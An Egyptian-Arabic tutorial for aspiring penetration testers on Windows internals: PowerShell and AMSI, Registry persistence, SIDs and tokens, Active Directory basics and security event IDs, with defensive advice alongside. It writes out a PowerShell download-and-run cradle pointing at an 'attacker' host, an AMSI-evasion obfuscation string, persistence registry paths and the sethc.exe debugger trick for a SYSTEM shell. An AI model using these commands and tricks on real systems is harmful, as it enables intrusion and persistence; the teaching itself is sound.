Windows Fundamentals — الجوّة اللي محدش بيوريهالك
Registry و PowerShell و Services، وأول لمسة في Active Directory
ليه Windows مهم لو أنت Pentester؟
تعالى نسأل من الأساس.
إنت بتهاجم لينكس على HackTheBox من سنتين.. حلو.
طب أول engagement هتدخله في الواقع، هتلاقي إيه؟
هتلاقي 200 جهاز Windows.. كلهم مربوطين على Domain Controller.. والشغل الحقيقي مش على البورت 22، الشغل على 445 و389 و5985.
أعرف واحد — صديق ليا — قعد يتعلم Red Team سنة كاملة على لينكس. لما اتحط في أول AD lab، بقى على ادهم. مش لإنه عيّل، لإنه ما فهمش Token ولا SID ولا الـ Registry. كل هجوم Privesc بيعدي عليه زي اللغز. قعد يـ copy-paste من المدونات من غير ما يفهم بيحصل إيه.
Windows مش OS تاني. Windows عالم لوحده.
75% من أجهزة المؤسسات في الدنيا كلها.. ومعظم الـ Active Directory في الكوكب. أي APT بتاكل عيش بتدخل Windows في مرحلة من المراحل. لو ما فهمتش Windows من جوّه، إنت بتلعب بإيد واحدة.
هيكل النظام
C:\
├── Windows\ ← نظام التشغيل
│ ├── System32\ ← ملفات حيوية، DLLs، executables (cmd, powershell)
│ └── SysWOW64\ ← 32-bit على نظام 64-bit
├── Program Files\ ← برامج مثبتة (64-bit)
├── Program Files (x86)\ ← برامج 32-bit
├── Users\ ← مجلدات المستخدمين
│ └── alice\
│ ├── AppData\Local\ ← بيانات تطبيق (Cache, history)
│ ├── AppData\Roaming\ ← تتنقّل مع المستخدم في AD
│ └── Documents\
├── ProgramData\ ← بيانات مشتركة (مرئي مخفياً)
└── Recycle BinPowerShell — السلاح الأهم.. وقصة AMSI
PowerShell مش "cmd بنكهة جديدة".
دي لغة برمجة كاملة، بوصول مباشر لـ .NET، يعني عندك كل الـ Win32 API في إيدك. كل أداة pentest كبيرة على Windows اتكتبت بيها: Empire، PowerSploit، Nishang، PowerView. ولسة.
طب تعالى أحكيلك القصة الحقيقية.
قبل 2015، كان PowerShell جنة المهاجمين.
IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1') — سطر واحد، الـ payload نزل في الذاكرة، اشتغل، وما لمسش الديسك. الـ AV ساعتها كان أعمى. خالص.
كل Red Team operator عاش الفترة دي افتكر إنه عبقري. كان بيـ bypass كل حاجة بسطر بايثون.. آسف.. PowerShell.
وبعدين جت Microsoft بـ AMSI (Antimalware Scan Interface) في Windows 10.
الفكرة بسيطة وعبقرية: قبل ما PowerShell ينفّذ أي سكربت، بيبعت النص للـ AV scanner. ال AV بيقرا النص — مش الـ binary — ويقرر يسمح ولا لأ. حتى لو السكربت في الذاكرة بس، AMSI بيشوفه.
الـ Red Teamers اتلطشوا. وفجأة كل أدواتهم القديمة بطّلت تشتغل.
فبدأ سباق التسلّح:
- Obfuscation — تكسير الكلمات اللي AMSI بيـ flag عليها (Invoke-Mimikatz بقت In'+'voke-Mim'+'ikatz).
- AMSI Bypass — patching الدالة AmsiScanBuffer في الذاكرة عشان ترجع "clean" دايماً.
- Constrained Language Mode — لو الـ Defender شدّاد، بيمنع .NET reflection أصلاً.
الدرس هنا: PowerShell سلاح ذو حدّين. لو إنت Blue، فعّل Script Block Logging (Event 4104) وModule Logging. AMSI لوحده مش كفاية.
الواقع vs المفروض: المفروض كل المؤسسات مفعّلاها. الواقع.. أغلب الجهات اللي شفتها بتكتفي بـ "Windows Defender شغّال" وخلاص.
Registry — قاعدة بيانات النظام كلها (وكنز الـ Persistence)
الـ Registry هو المكان اللي ويندوز بيكتب فيه كل إعداد. كل setting في النظام. كل برنامج. كل user.
اعتبره قاعدة بيانات الـ OS كاملة، مفتوحة قدامك، شغّالة في الذاكرة:
HKEY_LOCAL_MACHINE (HKLM) ← إعدادات النظام كله
└── SOFTWARE
└── SYSTEM
└── SECURITY (مقفل افتراضياً)
HKEY_CURRENT_USER (HKCU) ← إعدادات المستخدم الحالي
HKEY_CLASSES_ROOT (HKCR) ← ربط الملفات بالبرامج
HKEY_USERS (HKU) ← كل المستخدمينتعالى نمشي على أهم 3 أماكن persistence في الـ Registry — اللي بيستخدمها أي malware من زمان لحد APT41:
1) Run / RunOnce — HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. أي قيمة هنا = برنامج يشتغل لما الـ user يـ login. عبيط؟ آه. لسة شغّال؟ آه.
2) AppInit_DLLs — HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs. أي DLL هنا بيتحقن في كل عملية بتـ load user32.dll. يعني تقريباً كل عملية GUI. مايكروسوفت قفلتها افتراضياً من Win8، بس لسة بتلاقيها مفتوحة في بيئات قديمة.
3) Image File Execution Options (IFEO) — تقدر تخلّي أي EXE يشغّل EXE تاني. الـ trick القديم: تحط Debugger=cmd.exe تحت sethc.exe، وبعدين تضغط Shift خمس مرات في شاشة الـ login = SYSTEM shell.
اللي الـ Blue هيشوفه — لو Sysmon مفعّل بـ config محترم (SwiftOnSecurity أو Olaf): Event ID 12/13/14 على أي تعديل في الـ Registry تحت المسارات دي. والـ Autoruns بيلملم الـ ~250 مكان persistence في شاشة واحدة. لو إنت DFIR ومش بتفتح Autoruns الأول، إنت بتعك.
نموذج الأمان — SID و Token (افهمها زي بطاقة المخابرات)
تعالى أوريك الفكرة بتشبيه بسيط.
تخيل المخابرات.
كل ضابط عنده بطاقة هوية فيها رقمه القومي + الفرع التابع له + الرتبة + الصلاحيات اللي يقدر يدخل بيها أوضة من الأوض. البطاقة دي هي اللي بتحدد يقدر يدخل فين، لا الاسم ولا الوش.
دي بالظبط الـ Access Token في Windows.
- SID (Security Identifier) = الرقم القومي. شكله S-1-5-21-...-1001. ما بيتكررش، حتى لو حذفت اليوزر وعملت واحد بنفس الاسم — الـ SID الجديد هيبقى مختلف.
- Token = البطاقة كلها. فيها SID اليوزر + SIDs بتاعة كل المجموعات اللي هو فيها + الـ Privileges (زي SeDebugPrivilege، SeImpersonatePrivilege).
- كل process بيشتغل ومعاه token. الـ kernel بيقرر "ينفع يفتح الملف ده ولا لأ" بناءً على الـ token، مش بناءً على اسم اليوزر.
ليه الكلام ده مهم لو إنت بتعمل privesc؟
لإن نص هجمات الـ Privilege Escalation على Windows مبنية على فكرة واحدة: سرقة أو تعديل التوكن.
- Token Impersonation — لو معاك SeImpersonatePrivilege (وأغلب service accounts معاهم)، تقدر تـ impersonate توكن أي عملية تانية. ده أساس Potato بكل أنواعه (Hot/Rotten/Juicy/Rogue).
- Pass-the-Token — في AD، التوكن فيه TGT بتاع Kerberos. لو نسخته، إنت اليوزر ده.
- UAC Bypass — UAC مش security boundary حقيقي، ده "split token" بس. في كذا 30+ bypass موثّقة في UACME.
لو ما فهمتش الـ Token model، هتفضل تنفّذ هجمات وأنت مش فاهم بتحصل ليه. ولما الـ Defender يقفل الباب الواضح، مش هتلاقي الباب التاني.
- طب ينفع أحفظ أوامر Mimikatz وخلاص؟؟
كنت مستنيك تسأل ده يا مستجد. متوقّع. آه ينفع — لمدة أسبوع، لحد ما الـ EDR يقفل الـ command line ده. اللي بيعرف Token model بيلف على 5 طرق تانية. اللي حافظ commands بيقعد يدوّر على blog post جديد.
اوعى تعتمد على أمر. اعتمد على الفهم.
العمليات والخدمات
حسابات ومستخدمون
الشبكة على Windows
مقدمة في Active Directory
AD = خدمة directory مركزية تدير المستخدمين، الحواسيب، الصلاحيات في شبكة المؤسسة. مفاهيم رئيسية:
- Domain — مجموعة من الموارد تتشارك قاعدة بيانات (مثل corp.local).
- Domain Controller (DC) — الخادم الذي يحمل قاعدة البيانات.
- OU (Organizational Unit) — مجلد منطقي لتنظيم.
- GPO (Group Policy Object) — سياسات تُطبق آلياً.
- Kerberos — بروتوكول المصادقة الافتراضي.
- NTLM — البروتوكول القديم، ما زال يُستخدم. مصدر كثير من الهجمات.
Event Logs — الأرقام اللي لازم تحفظها بظهر قلب
تعالى أحكيلك حكاية حصلت فعلاً.
محلل في SOC في جهة كبيرة — مش هقول مكان — كان عامل dashboard ظريف بيراقب فيه Event 4624 (تسجيل دخول ناجح). كل يوم بيبص على القايمة، يشوف "كله تمام"، ويقفل.
المهاجم دخل من حساب service account.. عمل psexec على 12 جهاز.. سرق hash الـ KRBTGT.. وعمل Golden Ticket.
الـ 4624 كانت كلها "ناجحة". طبعاً ناجحة، هو ماشي بتذكرة Kerberos صحيحة. الدنيا كلها "ناجحة".
اللي فاته: 4688 — process creation. كان هيشوف cmd.exe بتنشأ من services.exe على 12 جهاز خلال 4 دقايق. ده مش طبيعي.
الدرس: لو بتراقب 4624 لوحده، إنت مش بتراقب. إنت بتعد. خليني أديك القائمة اللي لازم تتبصمل عليها:
Security log:
4624 ← تسجيل دخول ناجح
4625 ← تسجيل دخول فاشل
4672 ← تسجيل دخول بصلاحيات خاصة
4688 ← عملية جديدة بدأت
4720 ← مستخدم جديد أُنشئ
4732 ← عضو جديد أُضيف لمجموعة محلية
4768/4769 ← Kerberos TGT/TGS
System log:
7045 ← خدمة جديدة ثُبّتت (مهم — كثير من الـ malware)
7036 ← خدمة بدأت/توقفت
PowerShell logs (إذا فُعّلت):
4103/4104 ← تنفيذ سكربت / module loggingأدوات Sysinternals — يجب أن تعرفها
ممارسة
- افتح PowerShell على Windows VM، نفّذ كل أمر فوق.
- حمّل Sysinternals Suite، شغّل Autoruns، وشوف كم مكان النظام بيبدأ منه فعلاً.
- في Event Viewer، دوّر على آخر 4624 — هتلاقي نفسك.
- اقرأ Get-Help — مكافئ man: Get-Help Get-Process -Examples.
- افتح whoami /all، وحاول تطابق كل SID مع المجموعة بتاعته. ده هيبقى مرجعك.
الخلاصة الناشفة
Windows مش أصعب من لينكس.
هو بس مختلف.
لو فهمت الـ SID، والـ Token، والـ Registry — هتفهم كل هجوم تاني.
كل Privesc, كل persistence, كل lateral movement, كل AD attack بتيجي بعدين — كلها مبنية على نفس الأساس ده.
اللي بيحفظ أوامر من غير ما يفهم النموذج، بيقف عند أول جهاز ما يـ pop عليه shell. واللي فاهم النموذج، بيدخل على الجهاز ويعرف فوراً يدوّر فين.
اكتبها على كشكول الـ lab: SID + Token + Registry = نص Windows. الباقي تفاصيل.
كن من التانيين.